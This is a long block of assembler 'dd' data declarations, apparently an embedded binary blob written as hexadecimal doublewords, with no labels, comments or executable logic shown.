dd 0A226138Ch, 195088h, 0E398E690h, 0DEFB488Ch, 0F8AA6C2Ch
dd 32540B8h, 792087B5h, 0E6988973h, 5900239Fh, 498C12DBh
dd 1F98FEA7h, 0C14578B7h, 83B3CF0Fh, 0DB1BF99Eh, 0C0C652C1h
dd 9F796264h, 0B90090BCh, 9237F6D7h, 5AFA0159h, 0BD2E64E2h
dd 4E16E833h, 645E48h, 5F6A8B22h, 1E3F707Ah, 3D0CB210h
dd 0E29F1480h, 28C97C54h, 28B7B1Fh, 1F378300h, 169FD3Eh
dd 81B5602Fh, 0CC747052h, 1601CCE4h, 5814C97Eh, 7DEC65E9h
dd 26B10081h, 7CCAFE64h, 0E0BC2962h, 80D517h, 0FB094Ch
dd 2D3CFE66h, 5295AC9Ch, 9704B700h, 9EEBE471h, 0C2AE001Dh
dd 0C5AAB016h, 6D005140h, 0B3C8F7C6h, 0B9236Eh, 52181FEEh
dd 0FDE190D1h, 0EB41F300h, 0E794CB15h, 7F17871h, 4C40BEF4h
dd 8EE550D9h, 4300D155h, 9F074EF6h, 986135h, 73F3E77Fh
dd 0ECBD7A5Bh, 0C30062FAh, 0E6FC2138h, 3AB1C0h, 0C5C92C7Ch
dd 0E14AD411h, 2101B8BAh, 358FAAF6h, 0B9CCEC80h, 43D40090h
dd 0AE23EB3Ch, 1207842Eh, 0D7BE2737h, 3BB867h, 6EE0B10Dh
dd 0C709003Ch, 99074DA1h, 7601E98Ah, 1F43ABA2h, 7DDC85B7h
dd 511509B6h, 0DF804669h, 2E48D711h, 0E9D29C0Eh, 68E14039h
dd 34C64Eh, 4031C7BBh, 3C32FC29h, 44EAF707h, 75F70AFAh
dd 47AB3BB0h, 17341D1Ah, 0D87F0018h, 0B06D94C7h, 6300BAE2h
dd 9220C50Bh, 7E78D46h, 5723A2EDh, 837CE344h, 0F9385C0h
dd 8A00CDE4h, 1F5C7AFEh, 9FF22BBBh, 0E610068Ch, 0E5F38F01h
dd 1D9597EBh, 0F4DC85C0h, 2A9D2ED9h, 0FEAE000Fh, 0A18781BEh
dd 52B3A609h, 7A12807Bh, 0F89482FFh, 0EDC7018Ch, 0BB9509F0h
dd 0C0A5C097h, 0AAA7EB00h, 7AC2AB35h, 190500C1h, 4918092Bh
dd 0CC74D6AFh, 80A8B869h, 6738A8F8h, 86683E93h, 0B6C49B80h
dd 79C7B87Dh, 29A4D700h, 1393C884h, 8C6500BFh, 7FCC9112h
dd 600A4FB2h, 0C4A118F1h, 0ACCB2500h, 4309EA0h, 0EEB5785Eh
dd 952FC0A2h, 43067240h, 2965FD3Dh, 0B73A0031h, 687EAB3Ch
dd 523949F1h, 809D3FE0h, 5BFB9862h, 0C67CAC9h, 967AE1F6h
dd 4C0375F0h, 399B1968h, 29A9B83Ch, 4F6D0414h, 805F31A0h
dd 0E6B8C5D4h, 64EDC300h, 55BC44CBh, 991D00D0h, 0AC947C8Ch
dd 694C86A9h, 6B2C0172h, 5CCC8ABFh, 0E45A78D0h, 0E8B900D1h
dd 60795F4Ah, 0EF00D04Eh, 1A015B91h, 86ECDCh, 0DFDD15Ah
dd 1EBBA945h, 0A5F40C00h, 8A6A332Ah, 72630760h, 807D83C1h
dd 7707BD4Ch, 0F86EDC00h, 82CEFD49h, 0EC860613h, 0D8830130h
dd 0B77D1E00h, 0E78E711Ch, 1A5D0031h, 0B4036E0Ch, 5A00B809h
dd 9786BE5Fh, 4CFFA8Fh, 0A62E87D8h, 0EDF8C0A2h, 0B87075CCh
dd 1E14783Ch, 42C0A021h, 123F9324h, 5A6600D4h, 5D4007F2h
dd 18304CFAh, 0AABA788Ch, 0BF73167Dh, 0B91DD8h, 636DF093h
dd 0E40569EDh, 0CFD1AA49h, 71681E86h, 0CE35002Fh, 77E0E9AFh
dd 0B002892h, 0F15F65D9h, 3DFDB0Dh, 1F4DA75Bh, 58B8E953h
dd 0F700C37Fh, 45623846h, 88948Dh, 3DE3E2DBh, 0FA962B16h
dd 22C01000h, 0BB43F439h, 8CF24817h, 34C53C00h, 320957C7h
dd 6A38B0B0h, 439300ACh, 61B7ADF2h, 0FF8F00DFh, 65DB5FE2h
dd 381E06CBh, 2DC07DC9h, 579473B4h, 9F25072Ah, 6781C618h
dd 0A22BC009h, 0DF000563h, 629DD26Ch, 99ABF4h, 8980C744h
dd 147AF0BBh, 1E35A600h, 484DFA08h, 0E9B90EAh, 7EC3D47Dh
dd 0D9C0E2CEh, 14F0770Dh, 8F086B4Ch, 34019275h, 408788B3h
dd 854091D9h, 0D23CF9h, 0AD44F276h, 5CFDFF8Eh, 93F9C7Dh
dd 12C581C9h, 0B9E88CC4h, 723AEECh, 0DC3D78CEh, 0DC0BF63h
dd 7DA987B0h, 1A957100h, 0D0BD702Fh, 345F00C1h, 2915FC09h
dd 0C4042247h, 59AC1987h, 72C56890h, 3B8F0086h, 0A33839Dh
dd 290634BEh, 0AFE5EA1Dh, 229418B8h, 43613050h, 0B7628800h
dd 34C1BA38h, 722401A6h
dd 15685E2Eh, 7364FCBDh, 6652A000h, 0C513A794h, 0CBEB128Bh
dd 462C0380h, 7298A96Bh, 223E6558h, 93CE38C9h, 5400966Fh
dd 57C4FCF6h, 9AAD032Fh, 784988C6h, 36C0B191h, 0BD1F0068h
dd 0E4615A89h, 5FE90074h, 0AC493088h, 42E8C7C5h, 0E17BF8CEh
dd 614F552Eh, 1783992h, 2ACA26C0h, 60F6EC59h, 80902828h
dd 86FA3500h, 0B072A1F9h, 4C657EFBh, 20004AC4h, 0E1D96B73h
dd 25001982h, 0F61B457h, 9A3B4Dh, 915D5937h, 0C71532CAh
dd 78ABE200h, 0B68E138Ch, 0C02F01A9h, 29854AF0h, 2B2DF84Fh
dd 92560D00h, 0A48CE48Eh, 5E8F0041h, 6E96B476h, 0D7005AC8h
dd 0EF9106A1h, 9CB59EDh, 0F83F203Bh, 0E1E35800h, 700ACDB2h
dd 0AC88F460h, 0E8CCF501h, 0BCF41D9Ch, 0A3263EF8h, 20B1E50Fh
dd 0F9DDDF20h, 65003B45h, 4DE16D4Ch, 17D63CC4h, 199E56h
dd 212C1425h, 3D04E205h, 0B4EA92CDh, 3FDC80C1h, 0F29CCh
dd 3489AF23h, 8332378Fh, 431EA173h, 73C09010h, 0AECEDA78h
dd 0C65F0099h, 35A9013Ch, 220112A8h, 5B070F6Ch, 46F0B1A2h
dd 3C735886h, 688D8E00h, 0DE949945h, 20424E1Ch, 0E761CA4Fh
dd 0E3C4DD65h, 0F46388C0h, 0ABE0838Ch, 0E07677Dh, 4BFB8548h
dd 0A644E80h, 0B50602A9h, 81D123BAh, 3EF3460h, 0D045CE24h
dd 1394BE14h, 9C20052Dh, 90852FB6h, 1EB77A70h, 7EC66Fh
dd 915BE331h, 0B890BE16h, 7B58E48h, 9AC255A2h, 426F60A0h
dd 0B5350025h, 2CAC2B23h, 691DDD17h, 0C6D71309h, 345BDD00h
dd 2E32929Dh, 0BE5103h, 5A59AB44h, 0C9000F35h, 122B2C1Ch
dd 90A11AF5h, 4B7A00E0h, 5C862497h, 653171FAh, 0AADDF08Dh
dd 4E74D809h, 8B66AB01h, 0A110F44Bh, 2C8E880h, 0F5E47544h
dd 0B122A898h, 5A4E2424h, 538B40DCh, 1D0738CCh, 0A649F595h
dd 2F3DD381h, 13AEE3D8h, 4029CADAh, 7ACDDD18h, 5C013E10h
dd 0B9C4C594h, 75CCA39Dh, 0A7B0064h, 4C876D4Eh, 43052B20h
dd 6CAB4DAFh, 0E845C000h, 0D37EF9h, 9D577135h, 59D8E31Eh
dd 8FBFDA00h, 0C89BED4Bh, 0C4CE0C54h, 824EB3C9h, 0D1F08960h
dd 1DFE4CE8h, 0C9606676h, 805583h, 6B1623ADh, 24A53903h
dd 0F86FC357h, 1F612953h, 41B201E0h, 30D718FDh, 9662C490h
dd 0E31A104h, 6480B397h, 0F1C5B80h, 41CE7B50h, 0F8113403h
dd 77E1F100h, 28487165h, 1FA29020h, 4070D9C1h, 948774EFh
dd 150079C8h, 0C6FBD376h, 0BF1660h, 64A0857Ah, 726804Ah
dd 7700FC7Fh, 0EEA283F5h, 2CA4328Ch, 9072E0h, 0DF647FAh
dd 0C4B08726h, 0F060EE00h, 49F37392h, 54D266Ah, 79090h
dd 0EF99C712h, 9CBDDA3h, 80A714B4h, 0CE5354A0h, 0FC00D13Ah
dd 0D25A903h, 4C4175AAh, 5053B7F3h, 70569700h, 95DCC119h
dd 0C8008DF0h, 0E406A0AFh, 0FE266Ch, 50F02D1Bh, 47C0790h
dd 888F3Ah, 0CDA9C44Bh, 7830BE6Ah, 179008Dh, 1E18EF1Bh
dd 0A8C09E92h, 0B9BA0BB1h, 0A725070Dh, 0D035F9C5h, 0FED7F1EAh
dd 0E0437100h, 9ABA9DF6h, 5DE8003Eh, 0D6772723h, 80001DFCh
dd 0A834D3ACh, 6EF51Ah, 0B0FE8AC4h, 3CBB1F43h, 0DC60C14Ah
dd 284104FCh, 5D85C81h, 0ECC586B1h, 0B94C9016h, 0F900CD0Ch
dd 58430638h, 0C53025h, 53D28168h, 64E3391Ch, 55230507h
dd 12926C21h, 7B44C935h, 0AC51C4h, 3054473Dh, 9EC43ED2h
dd 0B899A500h, 63CBDEE6h, 1DF21469h, 2607C0A9h, 0D0557DC8h
dd 0BF1ABDDFh, 0B2A71602h, 607462F4h, 0C4506Ch, 84ADDC03h
dd 6344DED8h, 0CF00E898h, 6633A547h, 7920E42h, 0FB384B99h
dd 2F41D0A2h, 0EA48908Ah, 10AA0710h, 0F330D2B3h, 0F0E330h
dd 57FF5D41h, 442E1207h, 0E0671F02h, 80D6BC94h, 7CA80FA2h
dd 4970371h, 11D74DC9h, 0E0DE6AA8h, 67006BF8h, 557EE7D5h
dd 1E4BA7h, 0B06CCE69h, 0D73AE3FFh, 0F62593Dh, 0ECB71638h
dd 8BC87Ch, 5EC08674h, 0D96EF0Bh, 68F1D924h, 60E2500Fh
dd 496AA065h, 3D0A0037h, 830C2C84h, 9C00D306h, 941C7692h
dd 9B11132h, 0E236E7F1h, 10DCF4A7h, 5952B469h, 0E6756B00h
dd 0D066F262h, 0D5BB0E32h, 830FE1AFh, 0F101D140h, 1B00C96Ah
dd 0F6E238BDh, 566CCFh, 8CB6C49Dh, 0B06D92FDh, 33690706h
dd 111910Ch, 0CAEBD872h, 70D44677h, 4576ABDFh, 98494CC0h
dd 3EF0556h, 0E4E91B51h, 0D80E1E24h, 4094EE3Bh, 90B2B3Ah
dd 0A48D00B7h, 256FFD36h, 0D35030AAh, 0F1004AD0h, 0BB4EEFADh
dd 98B68D4Bh, 0AF9E00B7h, 0EAC6299Dh, 0F000E04Ch, 3FC07F4Fh
dd 91ABA0h, 499F477h, 29A4D561h, 0AD891907h, 1BF035D4h
dd 0E0B317h, 0D6DE7BA6h, 0F7AF923Eh, 0C7433D00h, 0EF5A2B1Fh
dd 0DCA401B2h, 67365DEEh, 0BA15C891h, 0A702EC90h, 2A17D098h
dd 0E8F06481h, 0F4D2003Eh, 0FBF15092h, 39007B83h, 9E5508F6h
dd 9D4729h, 0A568E6ABh, 5C651909h, 0DE003CB2h, 6AB86BFFh
dd 1A6CFDDh, 6930ED47h, 0C3261736h, 0EC121AC9h, 7400A89Eh
dd 66D68ED5h, 0E4E2C3h, 6FD80157h, 96CF9BBEh, 0BCFEA504h
dd 1CC1B38Ah, 2CD59814h, 260582D0h, 847C8F9Bh, 0A1968A0Ch
dd 68F1D838h, 0E7026h, 3805711Dh, 1003E103h, 4888300Ah
dd 0AD0C0239h, 0BE08142Ah, 7F5B3100h, 0B3A8125Dh, 984800C5h
dd 0B8E0DD83h, 8F0B8110h, 86BD903Ch, 26601228h, 10E313h
dd 0FD14B81Ch, 0C3008F61h, 1D1F5C25h, 0C6A7Dh, 0E776809h
dd 9027033Eh, 9E1089C0h, 0E58218Fh, 0E699C0E3h, 5313BA81h
dd 3BA45143h, 492C7092h, 9CCE0800h, 21CCC581h, 0A2F466h
dd 0F38C9F90h, 4F7BFD2Dh, 3F005D7Ah, 42B4E812h, 0B62858h
dd 966CA5A7h, 0F14BACCBh, 5C001671h, 4943426Dh, 75B40D0h
dd 4EB57B0Fh, 3C8A6039h, 0A2E2118Eh, 0C7ECA500h, 0E1EE53B2h
dd 0FFA70606h, 0E83D1081h, 0C57AB607h, 6387781Ch, 68DFB380h
dd 0D5A01D11h, 8A7C43ACh, 0A5801973h, 6B00B7BBh, 69128209h
dd 0F2FBA437h, 9ED0009Fh, 2ABD0C54h, 7AE69847h, 23204600h
dd 1D72AED3h, 0E3051E79h, 0EE774727h, 0E160810Bh, 6FE641D9h
dd 0D8EC7474h, 7D78AE00h, 9577900Ah, 0EEA51D2Ah, 3D00789Ch
dd 5F79927Ch, 5C00A6BCh, 2FF08AE3h, 2EF272BFh, 0B4A50h
dd 0FA2CF5C8h, 7907B138h, 95F468A7h, 0B8FB5373h, 36A869Ah
dd 0E377A6E5h, 4AC86518h, 381FA33Dh, 0AF80377Bh, 47532B88h
dd 0F6730EB3h, 0A460B96Eh, 5B52E383h, 0FAA8C8FDh, 0B5009371h
dd 785D4907h, 4A8C05h, 0BBB3FC65h, 7B3C4515h, 41F67100h
dd 3D47F0BDh, 9CC807CAh, 809F53DEh, 80BA38E6h, 9224A4E6h
dd 46941454h, 720CEA04h, 0BE10738Fh, 8CB36E24h, 0E5D33400h
dd 3B8D49h, 0A284E0B2h, 96A38872h, 514728CEh, 0A108CF21h
dd 0AC7C88E2h, 88B80588h, 0D288E72Bh, 8ED090FEh, 67217123h
dd 42FBA23Ah, 416008C4h, 84031040h, 0B84AFD0Bh, 7BAD0C50h
dd 42847F29h, 282C28A7h, 424FC022h, 0F2FB111Bh, 9929C070h
dd 3F3D0447h, 69181E07h, 81608E4Bh, 0CE8554h, 0E15DE341h
dd 89C68AADh, 98D08800h, 917BBEE7h, 80A500B5h, 0AB9E486Fh
dd 690059CDh, 8742CFB6h, 53B8CCh, 0D389721h, 10843CE4h
dd 70C9F04h, 0CCA2594Dh, 87C68800h, 0A295049Eh, 12017A7Ch
dd 0EDC83766h, 0C460F4DBh, 57A1001Dh, 82FAFFB3h, 2AFBAC60h
dd 0F9C44A0h, 0B45C0A8Bh, 0E8728520h, 0C8F06EB1h, 18E6E900h
dd 579B4E6Bh, 5E5F00A5h, 17591B05h, 6012FD40h, 145DB21Dh
dd 0F4A9B800h, 24883E1h
dd 0CABB88A3h, 0BB602F30h, 0C09FF9C7h, 24DA461h, 1B5BE71Fh
dd 3858B324h, 5C743C10h, 0C059B910h, 490E2133h, 97835013h
dd 3A37005Ah, 0BD886F9Dh, 3400E728h, 0A26DD7FEh, 4B10B30h
dd 91AEDD9Ah, 5ECE278h, 657EF9ABh, 0BDE7FCC0h, 38CE79F4h
dd 0A4AE5C61h, 52B100C8h, 49C40E0Ch, 6341100h, 0EA42C505h
dd 629B0FF6h, 6EA0B02Ch, 4D5597BBh, 6DD47200h, 56642A78h
dd 0CDCE037Fh, 0A13DD786h, 0E9C6ABF8h, 0BE6A8500h, 25081CC4h
dd 32FE00ADh, 9F633656h, 0CF0088B4h, 0B2AED18Fh, 1BD1631h
dd 0DA12A269h, 81B97809h, 74EF8120h, 1C717EC7h, 0A9E330h
dd 5B594197h, 7A164807h, 60884A51h, 46008FDDh, 0D7AE0ABCh
dd 0F76A0612h, 5CE4104Ch, 0A4028161h, 1B067C08h, 2B378BC0h
dd 1CF8AF48h, 3F53D9h, 146E6DD5h, 867DC1h, 401F18A5h, 5B280BC4h
dd 0E27C63FEh, 76A62900h, 496B1EEh, 75D80007h, 0C3E7FCDBh
dd 1C03333Dh, 43ADC632h, 1927C91Fh, 0EC82C03Dh, 1CD09068h
dd 8B0066E2h, 0F3AC9AABh, 2C5454Bh, 0D14C2902h, 0A8787E03h
dd 99F16F00h, 9700136h, 2D775CD6h, 0A3601801h, 7073E027h
dd 0A85875C0h, 0BC8E0125h, 0C026A043h, 3167CCh, 0A7F12A1h
dd 0BFE025ADh, 0BFA530Bh, 0E3946187h, 2A78A60Ch, 0E056D73Fh
dd 0C702EEA0h, 887F003Dh, 4AA6D3ABh, 294A65FFh, 0B73AE800h
dd 78E4BD8Eh, 981F096Ah, 0BC00FB6Bh, 23FC4F15h, 4869400h
dd 0EEB06F42h, 0FF47006Ch, 1763C127h, 30019F2Ch, 730F8474h
dd 9ECC3324h, 0C740C0FDh, 0B251AD4Eh, 5F6268C0h, 480E81D5h
dd 150334A9h, 889ADA5Ah, 52BF9E98h, 9D007579h, 32F15BEBh
dd 22DDE9h, 42EC74E6h, 6D0717A8h, 0A9CD6F12h, 1432E500h
dd 91A03453h, 0AC43F400h, 3AA4725Eh, 9A00E4D2h, 7D4D7896h
dd 0F437DC11h, 9F4F00EDh, 33B99034h, 0D8006DF3h, 0CB06EA08h
dd 0E15744h, 0D99895BCh, 0D4BE8A01h, 166E8900h, 6F3FCA56h
dd 0CC49020Dh, 247B232h, 675B3840h, 1A1C4203h, 0D3A2DEF0h
dd 818000C7h, 0E32188FEh, 0B00A18Eh, 0C011A392h, 7BA2C1D3h
dd 6DE81Fh, 7558FE37h, 0DEA3DD5Ch, 640081E6h, 720A5213h
dd 0F88B62ABh, 0DC9A3F9Ch, 86D71Eh, 0C0D5E94Ah, 2D0184BCh
dd 0EE9E2FD8h, 382090F1h, 0A4793Dh, 34924316h, 0CC7B508Dh
dd 0D8F8AB00h, 0D1079AEAh, 0ADE4FDh, 7541A51Ah, 9FB2B47Ch
dd 0CA517400h, 0B964C3A3h, 3CC27E4Fh, 7BACDB85h, 77B4041Ch
dd 14A4C884h, 52F93B00h, 290B99EFh, 0E04D0E09h, 0C5E773B0h
dd 5EFC506Ch, 6B00402Dh, 41BD7143h, 3E92F33Bh, 0C28106A0h
dd 0B1FECA84h, 0CE46C442h, 0E107C3EAh, 8DBCBA39h, 10DC8610h
dd 0FEB90043h, 4976A1Dh, 550FB147h, 60E45F83h, 0EA4C0354h
dd 344E0E12h, 471DCA9Dh, 31CEE663h, 64B5A345h, 0A648EF24h
dd 284A3074h, 0FEE79077h, 4DBFEE70h, 0C30104E1h, 8C590D8Dh
dd 17BBC01Eh, 606558h, 0F78AC9A0h, 169CE8D8h, 68037Ah
dd 3C2BF964h, 0DF000821h, 0AB2C38FCh, 3A741C2h, 2B175FBh
dd 3E8ACDBh, 88C78C78h, 92E094F4h, 48E83B7Ah, 4A01FCC5h
dd 0BD33AAF6h, 3EA869B1h, 0AB4C8039h, 0EDCFA70Ah, 7AD00007h
dd 1CF0D95Bh, 0BF0F9228h, 1E068208h, 527C58E8h, 6FB68D00h
dd 1530BC69h, 76EB38FCh, 0DE1AC880h, 0E19E112Ah, 6CF46401h
dd 0A6F088CEh, 0FD0030h, 9AD45C1h, 0CB796822h, 807637Eh
dd 9C46E2AEh, 0F945C750h, 0AAFC135Ch, 4E880058h, 37FD1EBh
dd 740DE501h, 0B88411F7h, 9E4FE880h, 0F5545395h, 68C83E03h
dd 80C049EBh, 1355D9h, 15FE3A1Eh, 0C41044B6h, 0A0808400h
dd 0C8F2A1B0h, 5B4000Ch, 255604EFh, 0E500E0E6h, 1283F433h
dd 72CFE8D5h, 20D8B708h, 2DAE2C00h, 65E22016h, 77E656h
dd 6D3F288Fh, 8B903B1Ch, 0CA4C7D00h, 0BF6EC9A5h, 0F6FDEB49h
dd 92B6D8h, 4791055h, 0B9B531F3h, 0AED48407h, 1F60A3F4h
dd 7F8AFD41h, 0EDDF0069h, 5AEC6CCAh, 0D53E0BCEh, 300C2498h
dd 1B1D0780h, 0B451CCF4h, 0CF0600FCh, 0DD14F838h, 91962A03h
dd 0E92D8DE7h, 2B339Ch, 66192804h, 2B0BA432h, 807D5885h
dd 5D5968ECh, 0F0FD67A8h, 0D06074ADh, 9C529068h, 231FA501h
dd 0EC09223Dh, 0BEB5EE8h, 312D49CEh, 0BF0E7F80h, 0CA045513h
dd 3D5EC87h, 0BC5164E0h, 42984250h, 0DC793041h, 0E10FD3D0h
dd 201DE772h, 146883A4h, 718800B1h, 0A99559EDh, 0B300BDD3h
dd 4638482Ch, 5273D8Fh, 0D71C5217h, 0C03080CBh, 0CC196BE4h
dd 28B811F5h, 0D35BC8h, 0A4AEB456h, 62199C31h, 48DCB64Ch
dd 2F60220h, 8BC8BBA3h, 0A7EA01C0h, 207197D7h, 2084E5D4h
dd 0B9025B4Ah, 0B511A273h, 2187C00Dh, 0C5A6011Dh, 0E8E03FF9h
dd 72C620EBh, 0CB82C32Ch, 0E0B8500h, 0E22476EFh, 0FBD50078h
dd 0DDA2801Ch, 9900A651h, 1F5C5EE5h, 95BB44E3h, 0FEC06498h
dd 8989A7Eh, 0ADCD832Ch, 0F3A7A200h, 3EAD9021h, 0B7801A60h
dd 70456604h, 30984138h, 0D4B28513h, 0CE5B2440h, 5479C35Eh
dd 2CB4ABh, 0F4347BA9h, 4A04D219h, 0BF41F100h, 0AFD0914h
dd 1F270736h, 506DF8CDh, 0B2E25ADEh, 1CAB8CA0h, 6CBBB300h
dd 26F890C6h, 859D004Ch, 0D0025E29h, 7100CB97h, 5ACAC878h
dd 50F5E0F1h, 39F88Bh, 40A223A0h, 6C893897h, 0A700D0F4h
dd 0E6EEE4F4h, 0B081BD03h, 80264AD9h, 5EB878D0h, 55709409h
dd 0E5DC20C7h, 0B79AE4Bh, 40AFD781h, 73180401h, 0E17100B8h
dd 6E222F3Ah, 8C6B0000h, 0EC0041B5h, 0B94AFEB0h, 1E322ED2h
dd 0C22113h, 0D8A7C86h, 717D3FBFh, 0C305BB07h, 22521F74h
dd 3AA8C08Dh, 5E4D1707h, 0E6BC8021h, 61C06A18h, 26FA1DCDh
dd 4A9E1597h, 3A14B839h, 0F0009720h, 0BBB45AACh, 0D907E7A5h
dd 6E69EEFCh, 251FCB10h, 99270055h, 0F81BDAAEh, 0E800D631h
dd 54A82C6h, 0F76DCFh, 88A8F0E5h, 0BA7DD85Bh, 63C6D912h
dd 0A4766800h, 0EC42ED5h, 2D8C9F51h, 0E2E54201h, 9EE230D4h
dd 0B7E69712h, 0B894F0h, 0B687C621h, 5142FB53h, 2DADDA00h
dd 67F80A14h, 8044B066h, 6827F0h, 36591AEFh, 0D1C92F9Dh
dd 5C956919h, 0E4709E10h, 51DF00B1h, 0F8CA2A3h, 88009F20h
dd 0DC6CB597h, 754555h, 0D2C9C4FEh, 94F3D569h, 43F40091h
dd 402A254Fh, 3CFCBCh, 0DED13102h, 0BB856325h, 2F308A72h
dd 6EA4AAC2h, 0C9210EA7h, 62400D86h, 189AEDCBh, 31AA8907h
dd 0D210D77Ch, 5133B96h, 9C4564B8h, 99DC908Fh, 0ECBC4067h
dd 0F1085705h, 328CF0h, 8BAABD0Ch, 0D8B74AA2h, 0FCCDF300h
dd 84D06D7Dh, 917C001Dh, 0F3E1874h, 0C305ED83h, 0C9F225A1h
dd 6AEEE803h, 0AA1698DCh, 4E6B3h, 73FF5860h, 0A49B5DFEh
dd 800F773Fh, 62F8CC86h, 136D55D1h, 0A4985042h, 93001A60h
dd 26990221h, 40343B8h, 0F8A8ECF1h, 0C0CC87ADh, 9A2BE51Dh
dd 72E60400h, 2444755Bh, 20D2C01Bh, 0A1225921h, 83F00213h
dd 924D2440h, 169EFB0h, 55F30D3Ah, 0FB8B0544h, 0A4A9F0A8h
dd 0B842F800h, 972B2D1Ch, 39307E39h, 7F01335Bh, 5E6A4EBFh
dd 0DA0AF057h, 7F2EB0Ch, 10A876h, 6FB786E0h, 4287C866h
dd 0C2A6FA09h, 0CF9C60B1h, 9831146Ah, 12FB05Eh, 901BDC05h
dd 977854B4h, 2A83A600h, 16C58C9Bh, 0A4F40029h, 5F724F7Fh
dd 2401AD0Ah, 7FA0CFEh, 4060CBF1h, 808DFAC1h, 8C4A6C0Dh
dd 26EA6CC0h, 6379C016h, 4FB158DAh, 0CA84000h, 7FCFED66h
dd 829A00BEh
dd 58AB3265h, 1F001DA1h, 0FDC9AA15h, 2F3E037h, 4D17EE3Bh
dd 0EEE023F8h, 0AD00BDA4h, 21AA93BEh, 0F0CD87CCh, 8C720071h
dd 6AA1B743h, 9A024FB4h, 0A650933Fh, 209C46F4h, 0DD008EEFh
dd 0E33A4004h, 2754EAh, 456C618Fh, 370A3F99h, 1D30A500h
dd 0C57BCD72h, 0DC13001Fh, 54B84CD4h, 0C30064F1h, 0EF5C842Ch
dd 1028909Ah, 94983FAh, 51339794h, 10E6030Ch, 0BE98E10Dh
dd 0FD06D9C4h, 1FCD02E3h, 0B4C1001Eh, 8F477EC9h, 0DD0088FCh
dd 914FB60Dh, 328ECB7h, 64735227h, 0B8E8AA05h, 324547Fh
dd 0CC08A086h, 67E98296h, 962B93E0h, 1E6B3078h, 829BB211h
dd 6CCF754h, 0D20F4612h, 5C830041h, 0F8D1DDB7h, 29F02180h
dd 7A338B0Bh, 601CB502h, 0E8719D19h, 38E0BCh, 56983CCEh
dd 17D3B6E8h, 74C7E1F7h, 0A300456Ch, 808CB71Eh, 2E6957DFh
dd 40185310h, 3EC387A5h, 5C5A7800h, 804520C1h, 0BF9C09B8h
dd 0B000CC98h, 73B5902Ah, 0BCDE801h, 0C4EB1596h, 0F008078h
dd 149D5305h, 80EFF3Bh, 9072B28h, 522202C0h, 547660DEh
dd 0D7880276h, 7EF64404h, 8ADBE0F7h, 4D740043h, 6B163B91h
dd 0A51827A6h, 15B8F570h, 0C80E5CA8h, 6F878E3Bh, 20BEEF51h
dd 1E20F1E1h, 1CCBB300h, 2BD38019h, 6FE92C09h, 59D7002Ch
dd 0D26DAE0Ah, 455F18C0h, 0B8D03FECh, 0B7F866h, 3D3BF51Eh
dd 0F1493C07h, 400EC400h, 69371DD8h, 0EFEA0293h, 1A522C53h
dd 861742E0h, 0D5AEEC00h, 34799662h, 50935C9Dh, 0C0A17C16h
dd 4A5D2B4h, 0E5CB8C41h, 0D58174D4h, 0E450FBB4h, 0C22F7h
dd 0DFD07B27h, 0DA013921h, 52E67700h, 9D389A26h, 74C50323h
dd 70C365F4h, 47E920FFh, 0C803FCA0h, 0D96B1BEh, 350A6A2h
dd 731E81BFh, 7813725Eh, 0C8915A46h, 3034997Dh, 9F9838B4h
dd 0FDF52880h, 143B65C9h, 548FFF01h, 4AA0C5F7h, 0DC42BC0h
dd 0F0298C74h, 66934039h, 80971554h, 93974FFCh, 0ED9438ECh
dd 0A5C85A00h, 72C7236h, 87F5Dh, 0B0A2C198h, 0B5348Ch
dd 0C08F3AAFh, 0E78D6812h, 443E5E00h, 31983552h, 4BCA006Ch
dd 3A890D0Fh, 420107BBh, 8B62B17Ch, 65E011D6h, 295B001Eh
dd 0CAEC6176h, 6E00BAABh, 0C99B2234h, 9B4B5C8h, 5FE0F9DFh
dd 47F4BC80h, 1FF2FDA7h, 0B68DE216h, 0FC280Fh, 0A0940B88h
dd 484600F1h, 65F2F008h, 0B4391ECAh, 0BE42003Bh, 77E55E5h
dd 1A96177Ah, 150123Eh, 0FED612EEh, 9048C84Eh, 5A63AE00h
dd 2BCDAA0Dh, 26B0006Ah, 0D9205818h, 810A9D3Ah, 0D0DD13DCh
dd 0A47E2401h, 0C9D003D4h, 80B46Ch, 2C99ADC7h, 660B75C3h
dd 5A456Eh, 0BD4B1100h, 0A3A20371h, 0EB90A0B3h, 447047F8h
dd 0B938AB1Fh, 9CA9FA03h, 6C2F90B2h, 81DCBA33h, 1C8E481h
dd 0CCF807D6h, 9090C72Bh, 23AE24B5h, 41FDC103h, 9060690Fh
dd 2B831E5h, 0B2589A78h, 0DC480D15h, 6020925h, 0EE95C139h
dd 58A4604Eh, 0EAF84833h, 91483500h, 0BC7BBB15h, 96290A03h
dd 98FBE9D2h, 2CF21Dh, 7E8108C5h, 755A8C0Dh, 2D031700h
dd 70AC34BCh, 0EA361222h, 0B33600D3h, 0DC206F1Ch, 3C97B00h
dd 3FBA13C4h, 123509B5h, 0DC044EF1h, 268C7EAh, 0B0604797h
dd 50BCB975h, 18C03093h, 909DF8D2h, 9BA61E88h, 1880E720h
dd 0A821ED57h, 548A3400h, 8E439F2h, 529C003Bh, 24FF3AFh
dd 75109B71h, 0E8018460h, 56A992EEh, 0B0022F8Eh, 68D5B061h
dd 5CBED8h, 1E145D97h, 0C2291288h, 0AB4DB800h, 0DCBDECD1h
dd 2CE6D2h, 25716CA5h, 0CF88A3D8h, 8492C800h, 0FF55E85Fh
dd 61D50086h, 0A7E26C4Bh, 0DA6E2E7Bh, 0E0808F29h, 158AAD38h
dd 4900068h, 7498EF67h, 7101AC9Bh, 0A25609CBh, 0E0C03A06h
dd 0F9F70F22h, 16E1E96Eh, 0C43991C5h, 0C2062C90h, 618EAA52h
dd 0EB730049h, 76B95BA4h, 891C91F7h, 0E60483E9h, 9483E521h
dd 9F580264h, 95323539h, 2D125BC0h, 26B6A000h, 1CD383B5h
dd 0B13B0170h, 1F3E8B23h, 0C060E639h, 6FF29ADBh, 47CD600h
dd 0DD72F365h, 0D9534C86h, 95FA5D0Bh, 91302852h, 5E4DB9C7h
dd 1896F6F8h, 8051FC30h, 0ED00BD1Dh, 37684C38h, 74D162h
dd 44C54AC2h, 3BF8581Fh, 9C4E3407h, 87F038ADh, 535A64h
dd 40F7554Ch, 28B71C65h, 0EB0F6317h, 0A0961300h, 93A812h
dd 39526B4h, 2208FA5Ch, 0C16691C5h, 0E6C590ADh, 8C11C196h
dd 20AFECECh, 0D3F0C20Bh, 4ECD0015h, 997A47h, 0F3F725A2h
dd 8557F65Ch, 6F480500h, 1A71EFB0h, 0DF82006Eh, 0C08B434Bh
dd 9C30C5B7h, 0E6482049h, 2D95009Eh, 74DC0CF8h, 1700C987h
dd 300FFF2Ch, 0A8EDC8h, 0C406A114h, 7D1B133Fh, 641F4E00h
